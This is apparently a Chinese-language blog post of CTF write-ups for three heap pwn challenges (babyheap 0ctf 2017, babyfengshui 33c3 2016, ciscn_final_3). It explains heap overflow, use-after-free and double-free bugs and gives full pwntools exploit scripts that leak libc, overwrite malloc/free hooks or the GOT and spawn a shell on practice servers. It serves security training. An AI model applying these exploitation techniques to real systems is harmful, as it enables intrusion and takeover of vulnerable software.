登录后台

页面导航

本文编写于 442 天前,最后修改于 126 天前,其中某些信息可能已经过时。

0x00 babyheap

有五个功能,在测试的时候,Fill的时候需要重新输入size,但是它没有检查机制,如果输入的content大于创建时的size,程序会凉凉

===== Baby Heap in 2017 =====
1. Allocate
2. Fill
3. Free
4. Dump
5. Exit

在fill的地方存在一个堆溢出,可以写任意长度,因为分配使用的calloc,所以在分配的时候会将分配出来的chunk先清空,dump的大小是根据alloc指定的size决定的,跟真正的chunk大小无关。

查看保护,都开了

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled

ASLR默认开启就行了。
PIE和Full RELRO保证了不能通过更改GOT表劫持控制流,加之使用了堆,多半都是用__malloc_hook和__free_hook这样的东西。

漏洞利用

所以问题就在于:
1.如何leak出libc地址
2.如何劫持控制流

leak libc 地址
其实这个还是挺好想的,已经是很常用的手法了,那就是利用smallbin或者largebin在为空的时候fd和bk指向libc的地址,然后通过这个地址就可以拿到libc基地址了,那么问题就变成了如何拿到fd和bk的地址。

由于堆溢出的存在,这个问题其实挺好解决的,堆溢出可以更改size,那么就可以造成chunk overlap,之后利用dump将包含的chunk打出来就可以拿到fd和bk了。

1、申请四块chunk。
2、修改第二块chunk的size为0x40,并修改第三块chunk的size,标记上一块chunk处于使用状态。Free第二块chunk后申请大小为0x30的chunk,第三块chunk的head部分与fd,bk被包含进第二块chunk的content部分。
3、Free第三块chunk,其fd,bk为main_arena+88,dump第二块chunk得到此地址,leak出libc基址。由于分配chunk时使用的是calloc,第三块chunk的head在第二次申请第二块chunk时被置零,需要先修复才能Free。
4、之后在malloc_hook上方错位构造大小为0x7f的chunk,通过Fastbin attack获取该chunk,修改malloc_hook。

exp

#coding=UTF-8
from pwn import *
sh=remote("buuoj.cn",20001)
#sh=process('/media/psf/Home/Desktop/Challenges/BUUpwn/babyheap_0ctf_2017.dms',env={"LD_load":'./x64_libc.so.6'})
libc=ELF("./x64_libc.so.6")
onegadget=[0x45216,0x4526a,0xf02a4,0xf1147]
def Add(Size):
    sh.recvuntil("Command: ")
    sh.sendline("1")
    sh.recvuntil("Size: ")
    sh.sendline(str(int(Size)))
def Fill(Index,Size,Content):
    sh.recvuntil("Command: ")
    sh.sendline("2")
    sh.recvuntil("Index: ")
    sh.sendline(str(Index))
    sh.recvuntil("Size: ")
    sh.sendline(str(int(Size)))
    sh.recvuntil("Content: ")    
    sh.send(Content)
def Free(Index):
    sh.recvuntil("Command: ")
    sh.sendline("3")
    sh.recvuntil("Index: ")
    sh.sendline(str(Index))
def Dump(Index):
    sh.recvuntil("Command: ")
    sh.sendline("4")
    sh.recvuntil("Index: ")
    sh.sendline(str(Index))
Add(0x10)
Add(0x10)
Add(0x80)
Add(0x10)
Fill(0,0x20,p64(0)*3+p64(0x41))
Fill(2,0x20,p64(0)*3+p64(0x71))
Free(1)
Add(0x30)
Fill(1,0x20,p64(0)*3+p64(0x91))
Free(2)
Dump(1)
sh.recvuntil('\x91'+'\x00'*7)
leak=u64(sh.recv(6).ljust(8,'\x00'))
malloc_hook=leak-88-0x10
print hex(malloc_hook)
libc_base=leak-0x3C4B20-88
one_gadget=libc_base+onegadget[1]
fakefd=malloc_hook-0x23
Add(0x60)
Free(2)
Fill(1,0x28,p64(0)*3+p64(0x71)+p64(fakefd))
Add(0x60)
Add(0x60)
Fill(4,0x13+8,'a'*0x13+p64(one_gadget))
Add(0x10)
sh.interactive()

0x01 babyfengshui_33c3_2016

题目复现:

0: Add a user
    size of description: 1
    name: 1
    text length: 1
    text: 1
    
1: Delete a user
    index: 0
    
2: Display a user
    index: 0
    name: 4   #打印
    description: 4   #打印
    
3: Update a user description
    index: 0
    text length: 4
    text: 4
4: Exit

ida分析后发现了两个malloc函数

_DWORD *__cdecl sub_8048816(size_t a1)
{
  void *s; // ST24_4
  _DWORD *v2; // ST28_4

  s = malloc(a1);  //desc
  memset(s, 0, a1);
  v2 = malloc(0x80u);    //user结构体
  memset(v2, 0, 0x80u);
  *v2 = s;
  ptr[(unsigned __int8)byte_804B069] = v2;
  printf("name: ");
  sub_80486BB((char *)ptr[(unsigned __int8)byte_804B069] + 4, 0x7C);
  sub_8048724(++byte_804B069 - 1);
  return v2;
}

user的结构体就是这样的:

struct user{
    char *desc;
    char name[7c];
    }user;

程序中快的排列方式是这样的:

description0 | user0 struc| description1 | user1 struct

分析程序后,发现在update函数里存在一个检查机制:

if ( (char *)(v3 + *(_DWORD *)ptr[a1]) >= (char *)ptr[a1] - 4 )
    {
      puts("my l33t defenses cannot be fooled, cya!");
      exit(1);
    }

该函数读入新的 text_size,并使用 (store[i]->desc + test_size) < (store[i] - 4) 的条件来防止堆溢出,最后读入新的 description。

然而这种检查方式是有问题的,它基于description正好位于user前面这种设定。根据我们对堆分配器的理解,这个设定不一定成立,它们之间可能会包含其他已分配的堆块,从而绕过检查。

漏洞利用

所以我们首先添加两个 user,用于绕过检查。第 3 个 user 存放 "/bin/sh"。然后删掉第 1 个 user,并创建一个 description 很长的 user,其长度是第 1 个 user 的 description 长度加上 user 结构体长度。这时候检查就绕过了,我们可以在添加新 user 的时候修改 description 大小,造成堆溢出,并修改第 2 个 user 的 user->desc 为 free@got.plt,从而泄漏出 libc 地址。得到 system 地址后,此时修改第 2 个 user 的 description,其实是修改 free 的 GOT,所以我们将其改成 system@got.plt。最后删除第 3 个 user,触发 system('/bin/sh'),得到 shell。

踩坑:堆前面会有数据标记 堆什么的 然后32位占 8字节 64位占16字节

exp

from pwn import *

io = remote('pwn.buuoj.cn', '20002')
elf = ELF("babyfengshui_33c3_2016")
libc = ELF("x86_libc.so.6")
def add_user(size, length, text):
    io.sendlineafter("Action: ", '0')
    io.sendlineafter("description: ", str(size))
    io.sendlineafter("name: ", 'AAAA')
    io.sendlineafter("length: ", str(length))
    io.sendlineafter("text: ", text)

def delete_user(idx):
    io.sendlineafter("Action: ", '1')
    io.sendlineafter("index: ", str(idx))

def display_user(idx):
    io.sendlineafter("Action: ", '2')
    io.sendlineafter("index: ", str(idx))

def update_desc(idx, length, text):
    io.sendlineafter("Action: ", '3')
    io.sendlineafter("index: ", str(idx))
    io.sendlineafter("length: ", str(length))
    io.sendlineafter("text: ", text)

if __name__ == "__main__":
    add_user(0x80, 0x80, 'AAAA')        # 0
    add_user(0x80, 0x80, 'AAAA')        # 1
    add_user(0x8, 0x8, '/bin/sh\x00')   # 2
    delete_user(0)

    add_user(0x100, 0x19c, "A"*0x198 + p32(elf.got['free']))    # 0

    display_user(1)
    io.recvuntil("description: ")
    free_addr = u32(io.recvn(4))
    system_addr = free_addr - (libc.symbols['free'] - libc.symbols['system'])
    log.info("system address: 0x%x" % system_addr)

    update_desc(1, 0x4, p32(system_addr))
    delete_user(2)

    io.interactive()

0x03 ciscn_final_3

问题分析

welcome to babyheap
1. add
2. remove
choice >

C++写的程序,只有add和remove两个功能,但是在add时会打印出分配的堆地址。remove的时候free之后没有置0,存在UAF。
此外,C++程序会为cin和cout分配两个堆,这一题就是利用double free tcache申请到cout的堆,free之后直接进入unsortedbin。
再利用add时打印地址leak出main_arena的地址。之后就是常规的修改freehook为system,free一个内容为/bin/sh的chunk。

exp

from pwn import *
#sh = process('./ciscn_final_3.dms')
libc = ELF('./libc.so.6')
sh = remote("f.buuoj.cn",20232)
def add(index, size, s):
    sh.sendlineafter('choice >', '1')
    sh.sendlineafter('input the index', str(index))
    sh.sendlineafter('input the size', str(size))
    sh.sendafter('now you can write something', s)
def delete(index):
    sh.sendlineafter('choice >', '2')
    sh.sendlineafter('input the index', str(index))
add(0,0x70,"/bin/sh\x00")
sh.recvuntil("gift :")
chunk0addr=int(sh.recv(14),16)
leakchunk=chunk0addr-0x11c20
log.success("leakchunkaddr: "+hex(leakchunk))
add(1,0x10,"1")
delete(1)
delete(1)
add(2,0x10,p64(leakchunk+0x10))
add(3,0x10,'3')
add(4,0x10,'leakchunk1')
add(5,0x20,'5')
delete(4)
delete(5)
delete(5)
add(6,0x20,p64(leakchunk+0x10))
add(7,0x20,'7')
add(8,0x20,'8')
add(9,0x20,'leakchunk2')
sh.recvuntil("gift :")
leakchunk2addr=int(sh.recv(14),16)
freehook=leakchunk2addr+0x1c48
log.success("freehook: "+hex(freehook))
system=freehook-libc.sym['__free_hook']+libc.sym['system']
log.success("system: "+hex(system))
add(10,0x30,'10')
delete(10)
delete(10)
add(11,0x30,p64(freehook))
add(12,0x30,'12')
add(13,0x30,p64(system))
delete(0)
#gdb.attach(sh)
sh.interactive()